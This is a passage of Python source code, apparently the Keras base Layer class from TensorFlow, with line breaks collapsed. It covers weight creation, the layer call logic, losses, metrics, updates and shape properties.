import math_ops from tensorflow.python.ops import resource_variable_ops from tensorflow.python.ops import variables as tf_variables from tensorflow.python.ops.ragged import ragged_tensor from tensorflow.python.platform import tf_logging from tensorflow.python.training.tracking import base as trackable from tensorflow.python.training.tracking import data_structures from tensorflow.python.training.tracking import layer_utils as trackable_layer_utils from tensorflow.python.training.tracking import tracking from tensorflow.python.util import compat from tensorflow.python.util import deprecation from tensorflow.python.util import nest from tensorflow.python.util import object_identity from tensorflow.python.util import tf_inspect from tensorflow.python.util.tf_export import keras_export from tensorflow.tools.docs import doc_controls _TF_OP_LAYER_NAME_PREFIX = 'tf_op_layer_' _keras_layers_gauge = monitoring.BoolGauge('/tensorflow/api/keras/layers', 'keras layers usage', 'method') _keras_model_gauge = monitoring.BoolGauge( '/tensorflow/api/keras/premade_models', 'premade keras model usage', 'type') @keras_export('keras.layers.Layer') class Layer(module.Module): _TF_MODULE_IGNORED_PROPERTIES = frozenset(itertools.chain( ('_obj_reference_counts_dict',), module.Module._TF_MODULE_IGNORED_PROPERTIES )) @trackable.no_automatic_dependency_tracking def __init__(self, trainable=True, name=None, dtype=None, dynamic=False, **kwargs): allowed_kwargs = { 'input_shape', 'batch_input_shape', 'batch_size', 'weights', 'activity_regularizer', 'autocast' } generic_utils.validate_kwargs(kwargs, allowed_kwargs) # and whether the layer's updates are run during training. self._trainable = trainable self._stateful = False self.built = False # Provides information about which inputs are compatible with the layer. self.input_spec = None self.supports_masking = False self._supports_ragged_inputs = False self._init_set_name(name) self._activity_regularizer = kwargs.pop('activity_regularizer', None) self._maybe_create_attribute('_trainable_weights', []) self._maybe_create_attribute('_non_trainable_weights', []) self._updates = [] # Object to store all thread local layer properties. self._thread_local = threading.local() # A list of zero-argument lambdas which return Tensors, used for variable # regularizers. self._callable_losses = [] # A list of symbolic Tensors containing activity regularizers and losses # manually added through `add_loss` in graph-building mode. self._losses = [] # A list of metric instances corresponding to the symbolic metric tensors # added using the `add_metric` API. self._metrics = [] self._set_dtype_policy(dtype) # Boolean indicating whether the layer automatically casts its inputs to the # layer's compute_dtype. self._autocast = kwargs.get('autocast', base_layer_utils.v2_dtype_behavior_enabled()) self._maybe_create_attribute('_layers', []) self._inbound_nodes = [] self._outbound_nodes = [] self._init_call_fn_args() self._dynamic = dynamic if 'input_shape' in kwargs or 'batch_input_shape' in kwargs: if 'batch_input_shape' in kwargs: batch_input_shape = tuple(kwargs['batch_input_shape']) elif 'input_shape' in kwargs: if 'batch_size' in kwargs: batch_size = kwargs['batch_size'] else: batch_size = None batch_input_shape = (batch_size,) + tuple(kwargs['input_shape']) self._batch_input_shape = batch_input_shape if 'weights' in kwargs: self._initial_weights = kwargs['weights'] else: self._initial_weights = None def build(self, input_shape): self.built = True @doc_controls.for_subclass_implementers def call(self, inputs, **kwargs): return inputs @doc_controls.for_subclass_implementers def _add_trackable(self, trackable_object, trainable): handler = base_layer_utils.TrackableWeightHandler(trackable_object) if trainable: self._trainable_weights.append(handler) else: self._non_trainable_weights.append(handler) return handler @doc_controls.for_subclass_implementers def add_weight(self, name=None, shape=None, dtype=None, initializer=None, regularizer=None, trainable=None, constraint=None, partitioner=None, use_resource=None, synchronization=tf_variables.VariableSynchronization.AUTO, aggregation=tf_variables.VariableAggregation.NONE, **kwargs): if shape is None: shape = () for kwarg in kwargs: if kwarg not in ['getter', 'collections', 'experimental_autocast', 'caching_device']: raise TypeError('Unknown keyword argument:', kwarg) getter = kwargs.pop('getter', base_layer_utils.make_variable) collections_arg = kwargs.pop('collections', None) autocast = kwargs.pop('experimental_autocast', True) caching_device = kwargs.pop('caching_device', None) if dtype is None: dtype = self.dtype or backend.floatx() dtype = dtypes.as_dtype(dtype) if self._dtype_policy.variable_dtype is None: self._dtype_policy = policy.Policy(dtype.base_dtype.name) initializer = initializers.get(initializer) regularizer = regularizers.get(regularizer) constraint = constraints.get(constraint) if synchronization == tf_variables.VariableSynchronization.ON_READ: if trainable: raise ValueError( 'Synchronization value can be set to ' 'VariableSynchronization.ON_READ only for non-trainable variables. ' 'You have specified trainable=True and ' 'synchronization=VariableSynchronization.ON_READ.') else: trainable = False elif trainable is None: trainable = True if initializer is None: if dtype.is_floating: initializer = initializers.glorot_uniform() elif dtype.is_integer or dtype.is_unsigned or dtype.is_bool: initializer = initializers.zeros() else: raise ValueError('An initializer for variable %s of type %s is required' ' for layer %s' % (name, dtype.base_dtype, self.name)) if (autocast and self._dtype_policy.should_cast_variables and dtype.is_floating): old_getter = getter def getter(*args, **kwargs): variable = old_getter(*args, **kwargs) return autocast_variable.create_autocast_variable(variable) if caching_device is not None: tf_logging.warn('`caching_device` does not work with mixed precision ' 'API. Ignoring user specified `caching_device`.') caching_device = None variable = self._add_variable_with_custom_getter( name=name, shape=shape, getter=getter, overwrite=True, initializer=initializer, dtype=dtype, constraint=constraint, trainable=trainable, partitioner=partitioner, use_resource=use_resource, collections=collections_arg, synchronization=synchronization, aggregation=aggregation, caching_device=caching_device) if regularizer is not None: name_in_scope = variable.name[:variable.name.find(':')] self._handle_weight_regularization(name_in_scope, variable, regularizer) if isinstance(variable, tf_variables.PartitionedVariable): for v in variable: backend.track_variable(v) if trainable: self._trainable_weights.append(v) else: self._non_trainable_weights.append(v) else: backend.track_variable(variable) if trainable: self._trainable_weights.append(variable) else: self._non_trainable_weights.append(variable) return variable @base_layer_utils.default def get_config(self): all_args = tf_inspect.getfullargspec(self.__init__).args config = {'name': self.name, 'trainable': self.trainable} if hasattr(self, '_batch_input_shape'): config['batch_input_shape'] = self._batch_input_shape config['dtype'] = policy.serialize(self._dtype_policy) if hasattr(self, 'dynamic'): if self.dynamic: config['dynamic'] = self.dynamic elif 'dynamic' in all_args: all_args.remove('dynamic') expected_args = config.keys() extra_args = [arg for arg in all_args if arg not in expected_args] if len(extra_args) > 1 and hasattr(self.get_config, '_is_default'): raise NotImplementedError('Layers with arguments in `__init__` must ' 'override `get_config`.') return config @classmethod def from_config(cls, config): return cls(**config) def compute_output_shape(self, input_shape): if context.executing_eagerly(): self._maybe_build(input_shape) with context.graph_mode(): graph = func_graph.FuncGraph('graph') with graph.as_default(): input_shape = tf_utils.convert_shapes(input_shape, to_tuples=False) inputs = nest.map_structure( base_layer_utils.generate_placeholders_from_shape, input_shape) try: outputs = self(inputs, training=False) except TypeError: raise NotImplementedError('We could not automatically infer ' 'the static shape of the layer\'s output.' ' Please implement the ' '`compute_output_shape` method on your ' 'layer (%s).' % self.__class__.__name__) return nest.map_structure(lambda t: t.shape, outputs) raise NotImplementedError @doc_controls.for_subclass_implementers def compute_output_signature(self, input_signature): def check_type_return_shape(s): if not isinstance(s, tensor_spec.TensorSpec): raise TypeError( 'Only TensorSpec signature types are supported, ' 'but saw signature signature entry: {}.'.format(s)) return s.shape input_shape = nest.map_structure(check_type_return_shape, input_signature) output_shape = self.compute_output_shape(input_shape) dtype = self._compute_dtype if dtype is None: input_dtypes = [s.dtype for s in nest.flatten(input_signature)] # Default behavior when self.dtype is None, is to use the first input's dtype = input_dtypes[0] return nest.map_structure( lambda s: tensor_spec.TensorSpec(dtype=dtype, shape=s), output_shape) @base_layer_utils.default def compute_mask(self, inputs, mask=None): if not self.supports_masking: if any(m is not None for m in nest.flatten(mask)): raise TypeError('Layer ' + self.name + ' does not support masking, ' 'but was passed an input_mask: ' + str(mask)) return None return mask def __call__(self, inputs, *args, **kwargs): call_context = base_layer_utils.call_context() input_list = nest.flatten(inputs) build_graph = tf_utils.are_all_symbolic_tensors(input_list) if any(isinstance(x, (np.ndarray, float, int)) for x in input_list): def _convert_non_tensor(x): # `SparseTensors` can't be converted to `Tensor`. if isinstance(x, (np.ndarray, float, int)): return ops.convert_to_tensor(x) return x inputs = nest.map_structure(_convert_non_tensor, inputs) input_list = nest.flatten(inputs) mask_arg_passed_by_framework = False input_masks = self._collect_input_masks(inputs, args, kwargs) if (self._expects_mask_arg and input_masks is not None and not self._call_arg_was_passed('mask', args, kwargs)): mask_arg_passed_by_framework = True kwargs['mask'] = input_masks training_arg_passed_by_framework = False # Priority 1: `training` was explicitly passed. if self._call_arg_was_passed('training', args, kwargs): training_value = self._get_call_arg_value('training', args, kwargs) if not self._expects_training_arg: kwargs.pop('training') else: training_value = None # Priority 2: `training` was passed to a parent layer. if call_context.training is not None: training_value = call_context.training # Priority 3a: `learning_phase()` has been set. elif backend.global_learning_phase_is_set(): training_value = backend.learning_phase() # Priority 3b: Pass the `learning_phase()` if in the Keras FuncGraph. elif build_graph: with backend.get_graph().as_default(): if base_layer_utils.is_in_keras_graph(): training_value = backend.learning_phase() if self._expects_training_arg and training_value is not None: # Force the training_value to be bool type which matches to the contract # for layer/model call args. if tensor_util.is_tensor(training_value): training_value = math_ops.cast(training_value, dtypes.bool) else: training_value = bool(training_value) kwargs['training'] = training_value training_arg_passed_by_framework = True # Only create Keras history if at least one tensor originates from a # `keras.Input`. Otherwise this Layer may be being used outside the Keras # framework. if build_graph and base_layer_utils.needs_keras_history(inputs): base_layer_utils.create_keras_history(inputs) # Clear eager losses on top level model call. # We are clearing the losses only on the top level model call and not on # every layer/model call because layer/model may be reused. if (base_layer_utils.is_in_eager_or_tf_function() and not call_context.in_call): self._clear_losses() with call_context.enter(self, inputs, build_graph, training_value): # Check input assumptions set after layer building, e.g. input shape. if build_graph: # Symbolic execution on symbolic tensors. We will attempt to build # the corresponding TF subgraph inside `backend.get_graph()` # TODO(reedwm): We should assert input compatibility after the inputs # are casted, not before. input_spec.assert_input_compatibility(self.input_spec, inputs, self.name) if (any(isinstance(x, ragged_tensor.RaggedTensor) for x in input_list) and self._supports_ragged_inputs is False): # pylint: disable=g-bool-id-comparison raise ValueError('Layer %s does not support RaggedTensors as input. ' 'Inputs received: %s. You can try converting your ' 'input to an uniform tensor.' % (self.name, inputs)) graph = backend.get_graph() with graph.as_default(), backend.name_scope(self._name_scope()): # Build layer if applicable (if the `build` method has been # overridden). self._maybe_build(inputs) cast_inputs = self._maybe_cast_inputs(inputs) # Wrapping `call` function in autograph to allow for dynamic control # flow and control dependencies in call. We are limiting this to # subclassed layers as autograph is strictly needed only for # subclassed layers and models. # tf_convert will respect the value of autograph setting in the # enclosing tf.function, if any. if (base_layer_utils.is_subclassed(self) and not base_layer_utils.from_saved_model(self)): call_fn = autograph.tf_convert( self.call, ag_ctx.control_status_ctx()) else: call_fn = self.call if not self.dynamic: try: with base_layer_utils.autocast_context_manager( self._compute_dtype): # Add auto_control_deps in V2 when they are not already added by # a `tf.function`. if (ops.executing_eagerly_outside_functions() and not base_layer_utils.is_in_eager_or_tf_function()): with auto_control_deps.AutomaticControlDependencies() as acd: outputs = call_fn(cast_inputs, *args, **kwargs) # Wrap Tensors in `outputs` in `tf.identity` to avoid # circular dependencies. outputs = base_layer_utils.mark_as_return(outputs, acd) else: outputs = call_fn(cast_inputs, *args, **kwargs) except errors.OperatorNotAllowedInGraphError as e: raise TypeError('You are attempting to use Python control ' 'flow in a layer that was not declared to be ' 'dynamic. Pass `dynamic=True` to the class ' 'constructor.\nEncountered error:\n"""\n' + str(e) + '\n"""') else: # We will use static shape inference to return symbolic tensors # matching the specifications of the layer outputs. # Since `self.dynamic` is True, we will never attempt to # run the underlying TF graph (which is disconnected). # TODO(fchollet): consider py_func as an alternative, which # would enable us to run the underlying graph if needed. outputs = self._symbolic_call(inputs) if outputs is None: raise ValueError('A layer\'s `call` method should return a ' 'Tensor or a list of Tensors, not None ' '(layer: ' + self.name + ').') if base_layer_utils.have_all_keras_metadata(inputs): if training_arg_passed_by_framework: kwargs.pop('training') if mask_arg_passed_by_framework: kwargs.pop('mask') inputs, outputs = self._set_connectivity_metadata_( inputs, outputs, args, kwargs) self._handle_activity_regularization(inputs, outputs) self._set_mask_metadata(inputs, outputs, input_masks) if hasattr(self, '_set_inputs') and not self.inputs: self._set_inputs(inputs, outputs) else: with backend.name_scope(self._name_scope()): self._maybe_build(inputs) cast_inputs = self._maybe_cast_inputs(inputs) with base_layer_utils.autocast_context_manager( self._compute_dtype): outputs = self.call(cast_inputs, *args, **kwargs) self._handle_activity_regularization(inputs, outputs) self._set_mask_metadata(inputs, outputs, input_masks) return outputs @property def dtype(self): return self._dtype_policy.variable_dtype @property def name(self): return self._name @property @trackable_layer_utils.cache_recursive_attribute('dynamic') def dynamic(self): return self._dynamic @property @doc_controls.do_not_generate_docs @trackable_layer_utils.cache_recursive_attribute('stateful') def stateful(self): return self._stateful @stateful.setter @trackable_layer_utils.invalidate_recursive_cache('stateful') def stateful(self, value): self._stateful = value @property def trainable(self): return self._trainable @trainable.setter def trainable(self, value): self._trainable = value for layer in getattr(self, '_layers', []): layer.trainable = value @property def activity_regularizer(self): return self._activity_regularizer @activity_regularizer.setter def activity_regularizer(self, regularizer): self._activity_regularizer = regularizer @property def input_spec(self): return self._input_spec @input_spec.setter @trackable.no_automatic_dependency_tracking def input_spec(self, value): for v in nest.flatten(value): if v is not None and not isinstance(v, InputSpec): raise TypeError('Layer input_spec must be an instance of InputSpec. ' 'Got: {}'.format(v)) self._input_spec = value @property def trainable_weights(self): if self.trainable: children_weights = self._gather_children_attribute('trainable_weights') return self._dedup_weights(self._trainable_weights + children_weights) else: return [] @property def non_trainable_weights(self): if self.trainable: children_weights = self._gather_children_attribute( 'non_trainable_weights') non_trainable_weights = self._non_trainable_weights + children_weights else: children_weights = self._gather_children_attribute('weights') non_trainable_weights = ( self._trainable_weights + self._non_trainable_weights + children_weights) return self._dedup_weights(non_trainable_weights) @property def weights(self): return self.trainable_weights + self.non_trainable_weights @property def updates(self): collected_updates = [] all_layers = self._gather_unique_layers() with backend.get_graph().as_default(): for layer in all_layers: if not layer.trainable and not layer.stateful: continue for u in layer._updates: if callable(u): try: u = u() except errors.InaccessibleTensorError: base_layer_utils.check_graph_consistency( method='add_update', force_raise=True) raise base_layer_utils.check_graph_consistency(u, method='add_update') collected_updates.append(u) return collected_updates @property def losses(self): collected_losses = [] all_layers = self._gather_unique_layers() for layer in all_layers: if layer._eager_losses: collected_losses.extend(layer._eager_losses) else: collected_losses.extend(layer._losses) for regularizer in layer._callable_losses: loss_tensor = regularizer() if loss_tensor is not None: collected_losses.append(loss_tensor) return collected_losses @doc_controls.for_subclass_implementers def add_loss(self, losses, inputs=None): def _tag_unconditional(loss): if callable(loss): with base_layer_utils.autocast_context_manager(None): loss = loss() if loss is None: return None if not tensor_util.is_tensor(loss): loss = ops.convert_to_tensor(loss, dtype=backend.floatx()) loss._unconditional_loss = (inputs is None) return loss losses = nest.flatten(losses) callable_losses = [] eager_losses = [] symbolic_losses = [] for loss in losses: if callable(loss): callable_losses.append(functools.partial(_tag_unconditional, loss)) continue if loss is None: continue if not tensor_util.is_tensor(loss): loss = ops.convert_to_tensor(loss, dtype=backend.floatx()) if (tf_utils.is_symbolic_tensor(loss) and not base_layer_utils.is_in_tf_function()): symbolic_losses.append(_tag_unconditional(loss)) base_layer_utils.check_graph_consistency(loss, method='add_loss') elif tensor_util.is_tensor(loss): eager_losses.append(_tag_unconditional(loss)) self._callable_losses.extend(callable_losses) in_call_context = base_layer_utils.call_context().in_call if eager_losses and not in_call_context: raise ValueError( 'Expected a symbolic Tensors or a callable for the loss value. ' 'Please wrap your loss computation in a zero argument `lambda`.') self._eager_losses.extend(eager_losses) if in_call_context: for symbolic_loss in symbolic_losses: self._losses.append(symbolic_loss) else: for symbolic_loss in symbolic_losses: if getattr(self, '_is_graph_network', False): self._graph_network_add_loss(symbolic_loss) else: self._losses.append(symbolic_loss) @trackable.no_automatic_dependency_tracking def _clear_losses(self): self._eager_losses = [] if hasattr(self, '_layers'): for layer in trackable_layer_utils.filter_empty_layer_containers( self._layers): layer._clear_losses() @property def metrics(self): collected_metrics = [] all_layers = self._gather_unique_layers() for layer in all_layers: collected_metrics.extend(layer._metrics) return collected_metrics @doc_controls.for_subclass_implementers def add_metric(self, value, aggregation=None, name=None): if aggregation is not None and aggregation != 'mean': raise ValueError( 'We currently support only `mean` sample-wise metric aggregation. ' 'You provided aggregation=`%s`' % aggregation) from_metric_obj = hasattr(value, '_metric_obj') is_symbolic = tf_utils.is_symbolic_tensor(value) in_call_context = base_layer_utils.call_context().in_call if name is None and not from_metric_obj: # Eg. `self.add_metric(math_ops.reduce_sum(x), aggregation='mean')` # In eager mode, we use metric name to lookup a metric. Without a name, # a new Mean metric wrapper will be created on every model/layer call. # So, we raise an error when no name is provided. # We will do the same for symbolic mode for consistency although a name # will be generated if no name is provided. # We will not raise this error in the foll use case for the sake of # consistency as name in provided in the metric constructor. # mean = metrics.Mean(name='my_metric') # model.add_metric(mean(outputs)) raise ValueError('Please provide a name for your metric like ' '`self.add_metric(tf.reduce_sum(inputs), ' 'name=\'mean_activation\', aggregation=\'mean\')`') elif from_metric_obj: name = value._metric_obj.name if in_call_context: # TF Function path should take the eager path. if is_symbolic and not base_layer_utils.is_in_tf_function(): self._symbolic_add_metric(value, aggregation, name) else: self._eager_add_metric(value, aggregation, name) else: if not is_symbolic: raise ValueError('Expected a symbolic Tensor for the metric value, ' 'received: ' + str(value)) # Possible a metric was added in a Layer's `build`. if not getattr(self, '_is_graph_network', False): with backend.get_graph().as_default(): self._symbolic_add_metric(value, aggregation, name) return if from_metric_obj: raise ValueError('Using the result of calling a `Metric` object ' 'when calling `add_metric` on a Functional ' 'Model is not supported. Please pass the ' 'Tensor to monitor directly.') self._graph_network_add_metric(value, aggregation, name) @deprecation.deprecated_args(None, '`inputs` is now automatically inferred', 'inputs') @doc_controls.for_subclass_implementers def add_update(self, updates, inputs=None): call_context = base_layer_utils.call_context() if (ds_context.has_strategy() and ds_context.in_cross_replica_context() and not call_context.saving): # TODO(b/142574744): Relax this restriction so that metrics/variables # created outside of a strategy scope can be updated in the cross-replica # context. if (ops.executing_eagerly_outside_functions() and not base_layer_utils.is_in_keras_graph()): raise RuntimeError( # pylint: disable=g-doc-exception '`add_update` was called in a cross-replica context. This is not ' 'expected. If you require this feature, please file an issue.') return updates = generic_utils.to_list(updates) # All updates can be run immediately in Eager or in a tf.function. if base_layer_utils.is_in_eager_or_tf_function(): if not call_context.frozen: for update in updates: if callable(update): update() return if call_context.in_call: relevant_inputs = call_context.inputs else: inbound_nodes = getattr(self, '_inbound_nodes', []) relevant_inputs = [node.input_tensors for node in inbound_nodes] def process_update(x): if callable(x): update = lambda: process_update(x()) if not ops.executing_eagerly_outside_functions(): # In V1 mode, call the callable right away and process. This is needed # for TPU strategy. return update() elif isinstance(x, ops.Operation): update = x elif hasattr(x, 'op'): update = x.op else: update = ops.convert_to_tensor(x) reachable = tf_utils.get_reachable_from_inputs(relevant_inputs, [update]) update._unconditional_update = update not in reachable return update updates = [process_update(x) for x in updates] # Non-callable Updates are run automatically inside `call` in V2, so # they do not need to be tracked later. if ops.executing_eagerly_outside_functions() and call_context.in_call: updates = [u for u in updates if callable(u)] self._updates.extend(updates) def set_weights(self, weights): params = self.weights expected_num_weights = 0 for param in params: if isinstance(param, base_layer_utils.TrackableWeightHandler): expected_num_weights += param.num_tensors else: expected_num_weights += 1 if expected_num_weights != len(weights): raise ValueError( 'You called `set_weights(weights)` on layer "%s" ' 'with a weight list of length %s, but the layer was ' 'expecting %s weights. Provided weights: %s...' % (self.name, len(weights), expected_num_weights, str(weights)[:50])) weight_index = 0 weight_value_tuples = [] for param in params: if isinstance(param, base_layer_utils.TrackableWeightHandler): num_tensors = param.num_tensors tensors = weights[weight_index:weight_index + num_tensors] param.set_weights(tensors) weight_index += num_tensors else: weight = weights[weight_index] ref_shape = param.shape if not ref_shape.is_compatible_with(weight.shape): raise ValueError( 'Layer weight shape %s not compatible with provided weight ' 'shape %s' % (ref_shape, weight.shape)) weight_value_tuples.append((param, weight)) weight_index += 1 backend.batch_set_value(weight_value_tuples) def get_weights(self): weights = self.weights output_weights = [] for weight in weights: if isinstance(weight, base_layer_utils.TrackableWeightHandler): output_weights.extend(weight.get_tensors()) else: output_weights.append(weight) return backend.batch_get_value(output_weights) def get_updates_for(self, inputs): if inputs is None: # Requesting unconditional updates. return [u for u in self.updates if u._unconditional_update] # Requesting input-conditional updates. updates = [u for u in self.updates if not u._unconditional_update] inputs = nest.flatten(inputs) reachable = tf_utils.get_reachable_from_inputs(inputs, updates) return [u for u in updates if u in reachable] def get_losses_for(self, inputs): if inputs is None: # Requesting unconditional losses. return [l for l in self.losses if l._unconditional_loss] # Requesting input-conditional losses. losses = [l for l in self.losses if not l._unconditional_loss] inputs = nest.flatten(inputs) reachable = tf_utils.get_reachable_from_inputs(inputs, losses) return [l for l in losses if l in reachable] def get_input_mask_at(self, node_index): inputs = self.get_input_at(node_index) if isinstance(inputs, list): return [getattr(x, '_keras_mask', None) for x in inputs] else: return getattr(inputs, '_keras_mask', None) def get_output_mask_at(self, node_index): output = self.get_output_at(node_index) if isinstance(output, list): return [getattr(x, '_keras_mask', None) for x in output] else: return getattr(output, '_keras_mask', None) @property def input_mask(self): inputs = self.input if isinstance(inputs, list): return [getattr(x, '_keras_mask', None) for x in inputs] else: return getattr(inputs, '_keras_mask', None) @property def output_mask(self): output = self.output if isinstance(output, list): return [getattr(x, '_keras_mask', None) for x in output] else: return getattr(output, '_keras_mask', None) def get_input_shape_at(self, node_index): return self._get_node_attribute_at_index(node_index, 'input_shapes', 'input shape') def get_output_shape_at(self, node_index): return self._get_node_attribute_at_index(node_index, 'output_shapes', 'output shape') def get_input_at(self, node_index): return self._get_node_attribute_at_index(node_index, 'input_tensors', 'input') def get_output_at(self, node_index): return self._get_node_attribute_at_index(node_index, 'output_tensors', 'output') @property def input(self): if not self._inbound_nodes: raise AttributeError('Layer ' + self.name + ' is not connected, no input to return.') return self._get_node_attribute_at_index(0, 'input_tensors', 'input') @property def output(self): if not self._inbound_nodes: raise AttributeError('Layer ' + self.name + ' has no inbound nodes.') return self._get_node_attribute_at_index(0, 'output_tensors', 'output') @property def input_shape(self): if not self._inbound_nodes: raise AttributeError('The layer has never been called ' 'and thus has no defined input shape.') all_input_shapes = set( [str(node.input_shapes) for node in self._inbound_nodes]) if len(all_input_shapes) == 1: return self._inbound_nodes[0].input_shapes else: raise AttributeError('The layer "' + str(self.name) + ' has multiple inbound nodes, ' 'with different input shapes. Hence ' 'the notion of "input shape" is ' 'ill-defined for the layer. ' 'Use `get_input_shape_at(node_index)` ' 'instead.') def count_params(self): if not self.built: if getattr(self, '_is_graph_network', False): with tf_utils.maybe_init_scope(self): self._maybe_build(self.inputs) else: raise ValueError('You tried to call `count_params` on ' + self.name + ', but the layer isn\'t built. ' 'You can build it manually via: `' + self.name + '.build(batch_input_shape)`.') return layer_utils.count_params(self.weights) @property def output_shape(self): if not self._inbound_nodes: raise AttributeError('The layer has never been called ' 'and thus has no defined output shape.') all_output_shapes = set( [str(node.output_shapes) for node in self._inbound_nodes]) if len(all_output_shapes) == 1: return self._inbound_nodes[0].output_shapes else: raise AttributeError('The layer "%s"' ' has multiple inbound nodes, ' 'with different output shapes. Hence ' 'the notion of "output shape" is ' 'ill-defined for the layer. ' 'Use `get_output_shape_at(node_index)` ' 'instead.' % self.name) @property @doc_controls.do_not_doc_inheritable def inbound_nodes(self): return self._inbound_nodes @property @doc_controls.do_not_doc_inheritable def outbound_nodes(self): return self._outbound_nodes ############################################################################## # Methods & attributes below are public aliases of other methods. # ############################################################################## @deprecation.deprecated( date=None, instructions='Please use `layer.__call__` method instead.') @doc_controls.do_not_doc_inheritable def apply(self, inputs, *args, **kwargs): return self.__call__(inputs, *args, **kwargs) @deprecation.deprecated( date=None, instructions='Please use `layer.add_weight` method instead.') @doc_controls.do_not_doc_inheritable def add_variable(self, *args, **kwargs): return self.add_weight(*args, **kwargs) @property def variables(self): return self.weights @property def trainable_variables(self): return self.trainable_weights @property def non_trainable_variables(self): return self.non_trainable_weights ############################################################################## # Methods & attributes below are all private and only used by the framework. # ############################################################################## def _set_dtype_policy(self, dtype): if isinstance(dtype, policy.Policy): self._dtype_policy = dtype elif isinstance(dtype, dict): self._dtype_policy = policy.deserialize(dtype) elif dtype: self._dtype_policy = policy.Policy(dtypes.as_dtype(dtype).name) else: self._dtype_policy = policy.global_policy() # This has no impact on the layer behavior, and is only used for printing # warnings. self._dtype_defaulted_to_floatx = (not dtype and policy.policy_defaults_to_floatx()) # TODO(reedwm): Expose this property? @property def _compute_dtype(self): return self._dtype_policy.compute_dtype def _maybe_cast_inputs(self, inputs): compute_dtype = self._compute_dtype if (self._autocast and compute_dtype and dtypes.as_dtype(compute_dtype).is_floating): def f(x): cast_types = (ops.Tensor, sparse_tensor.SparseTensor, ragged_tensor.RaggedTensor) if (isinstance(x, cast_types) and x.dtype.is_floating and x.dtype.base_dtype.name != compute_dtype): if self._dtype_defaulted_to_floatx: self._warn_about_input_casting(x.dtype.base_dtype) return math_ops.cast(x, compute_dtype) elif isinstance(x, tensor_spec.TensorSpec) and x.dtype.is_floating: # Inputs may be TensorSpecs when this function is called from # model._set_inputs. return tensor_spec.TensorSpec(x.shape, compute_dtype, x.name) else: return x return nest.map_structure(f, inputs) else: return inputs def _warn_about_input_casting(self, input_dtype): # self._already_warned_about_input_casting is only retrieved or set in this # function. already_warned = getattr(self, '_already_warned_about_input_casting', False) if not already_warned: tf_logging.warn( "Layer {self.name} is casting an input tensor from dtype " "{input_dtype} to the layer's dtype of {layer_dtype}, which is new " "behavior in TensorFlow 2. The layer has dtype {layer_dtype} " "because it's dtype defaults to floatx.\n\n" "" "If you intended to run this layer in {layer_dtype}, you can safely " "ignore this warning. If in doubt, this warning is likely only an " "issue if you are porting a TensorFlow 1.X model to TensorFlow 2.\n\n" "" "To change all layers to have dtype {input_dtype} by default, call " "`tf.keras.backend.set_floatx('{input_dtype}')`. To change just this " "layer, pass dtype='{input_dtype}' to the layer constructor. If you " "are the author of this layer, you can disable autocasting by " "passing autocast=False to the base Layer constructor.\n".format( self=self, input_dtype=input_dtype.name, layer_dtype=self._compute_dtype)) self._already_warned_about_input_casting = True # _dtype used to be an attribute set in the constructor. We still expose it # because some clients still use it. # TODO(reedwm): Deprecate, then remove the _dtype property. @property def _dtype(self): # This is equivalent to returning self.dtype . We do not return self.dtype # as it would cause infinite recursion in a few subclasses, which override # "dtype" to return self._dtype. return self._dtype_policy.variable_dtype @_dtype.setter def _dtype(self, value): value = dtypes.as_dtype(value).name self._dtype_policy = policy.Policy(value) def _name_scope(self): return self.name def _init_set_name(self, name, zero_based=True): if not name: self._name = backend.unique_object_name( generic_utils.to_snake_case(self.__class__.__name__), zero_based=zero_based) else: self._name = name def _get_existing_metric(self, name=None): match = [m for m in self._metrics if m.name == name] if not match: return if len(match) > 1: raise ValueError( 'Please provide different names for the metrics you have added. ' 'We found {} metrics with the name: "{}"'.format(len(match), name)) return match[0] def _eager_add_metric(self, value, aggregation=None, name=None): # If the given metric is available in `metrics` list we just update state # on it, otherwise we create a new metric instance and # add it to the `metrics` list. metric_obj = getattr(value, '_metric_obj', None) if metric_obj: name = metric_obj.name match = self._get_existing_metric(name) if match: # Tensors that come from a Metric object already updated the Metric state. if not metric_obj: match(value) return if not metric_obj: assert aggregation is not None metric_obj, _ = base_layer_utils.create_mean_metric(value, name) self._metrics.append(metric_obj) def _symbolic_add_metric(self, value, aggregation=None, name=None): base_layer_utils.check_graph_consistency(value, method='add_metric') match = self._get_existing_metric(name) if aggregation is None: # Iterate over the metrics and check if the given metric exists already. # This can happen when a metric instance is created in subclassed model # layer `__init__` and we have tracked that instance already in # model.__setattr__. if match: result_tensor = value metric_obj = match elif hasattr(value, '_metric_obj'): # We track the instance using the metadata on the result tensor. result_tensor = value metric_obj = result_tensor._metric_obj self._metrics.append(metric_obj) else: raise ValueError( 'We do not support adding an aggregated metric result tensor that ' 'is not the output of a `tf.keras.metrics.Metric` metric instance. ' 'Without having access to the metric instance we cannot reset the ' 'state of a metric after every epoch during training. You can ' 'create a `tf.keras.metrics.Metric` instance and pass the result ' 'here or pass an un-aggregated result with `aggregation` parameter ' 'set as `mean`. For example: `self.add_metric(tf.reduce_sum(inputs)' ', name=\'mean_activation\', aggregation=\'mean\')`') else: # If a non-aggregated tensor is given as input (ie. `aggregation` is # explicitly set to `mean`), we wrap the tensor in `Mean` metric. if match: result_tensor = match(value) metric_obj = match else: metric_obj, result_tensor = base_layer_utils.create_mean_metric( value, name) self._metrics.append(metric_obj) def _handle_weight_regularization(self, name, variable, regularizer): def _loss_for_variable(v): with backend.name_scope(name + '/Regularizer'): regularization = regularizer(v) return regularization if isinstance(variable, tf_variables.PartitionedVariable): for v in variable: self.add_loss(functools.partial(_loss_for_variable, v)) else: self.add_loss(functools.partial(_loss_for_variable, variable)) def _handle_activity_regularization(self, inputs, outputs): # Apply activity regularization. # Note that it should be applied every time the layer creates a new # output, since it is output-specific. if self._activity_regularizer: output_list = nest.flatten(outputs) with backend.name_scope('ActivityRegularizer'): for output in output_list: activity_loss = self._activity_regularizer(output) batch_size = math_ops.cast( array_ops.shape(output)[0], activity_loss.dtype) # Make activity regularization strength batch-agnostic. mean_activity_loss = activity_loss / batch_size base_layer_utils.check_graph_consistency( mean_activity_loss, method='activity_regularizer') self.add_loss(mean_activity_loss, inputs=inputs) def _set_mask_metadata(self, inputs, outputs, previous_mask): flat_outputs = nest.flatten(outputs) mask_already_computed = ( getattr(self, '_compute_output_and_mask_jointly', False) or all(getattr(x, '_keras_mask', None) is not None for x in flat_outputs)) # Only compute the mask if the Layer explicitly supports masking or has # overridden `compute_mask`. should_compute_mask = ( hasattr(self, 'compute_mask') and (self.supports_masking or not getattr(self.compute_mask, '_is_default', False))) if mask_already_computed: flat_masks = [getattr(x, '_keras_mask', None) for x in flat_outputs] elif not should_compute_mask: flat_masks = [None for _ in flat_outputs] else: output_masks = self.compute_mask(inputs, previous_mask) # `compute_mask` can return a single `None` even when a 